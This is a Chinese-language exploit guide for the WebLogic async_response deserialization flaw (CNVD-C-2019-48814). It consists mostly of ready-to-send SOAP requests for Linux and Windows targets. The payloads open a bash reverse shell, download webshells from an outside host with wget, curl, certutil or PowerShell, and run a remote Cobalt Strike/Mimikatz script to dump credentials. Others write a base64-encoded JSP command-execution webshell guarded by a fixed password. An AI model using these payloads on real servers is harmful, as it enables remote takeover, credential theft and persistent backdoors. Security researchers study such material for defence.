复现环境

1 Kali2019Win10(关闭安全中心实时防护下)
2 Weblogic10.3.6(wls1036_generic.jar)

漏洞组件

bea_wls9_async_response.war

漏洞路径

http://ip:port/_async/AsyncResponseService

漏洞确认

访问漏洞路径存在以下页面,即有可能存在漏洞

1.png

漏洞利用(所有利用都需要被攻击机能够访问公网)

1.Linux下

1 反弹shell
使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/vpsip/vpsport 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2 上传webshell

1.放置一个webshell.txt到公网
2.使用以下报文 任选其一

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问webshell

http://ip:port/_async/webshell.jsp

2.png

3 写webshell(无需公网)

1.使用如下报文,任选其一

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1378
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1376
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2.访问webshell

报文一的使用方式为
http://ip:port/_async/webshell.jsp?pwd=123&cmd=whoami

3.png

报文二的使用方式为
http://ip:port/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

4.png

2.Win下

1 反弹shell
可直接使用CobaltStrike生成一个payload.ps1 powershell脚本,将该脚本放到公网上,然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

5.png

2 上传webshell

**1.放置一个webshell.txt到公网
2.使用以下报文 任选其一均可**

报文一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问webshell

http://ip:port/_async/webshell.jsp

6.png

3 写webshell(无需公网)

1.使用如下报文,任选一个报文组

报文组一

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.txt serversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarwebshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

报文组二

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

2.访问webshell

报文一的使用方式为
http://ip:port/_async/webshell.jsp?pwd=123&cmd=whoami

7.png

报文二的使用方式为
http://ip:port/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

8.png

(注:上述报文中servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/为默认路径,如果路径修改,可以配合反弹shell进行获取)。

标签: CNVD-C-2019-48814, Weblogic反序列化

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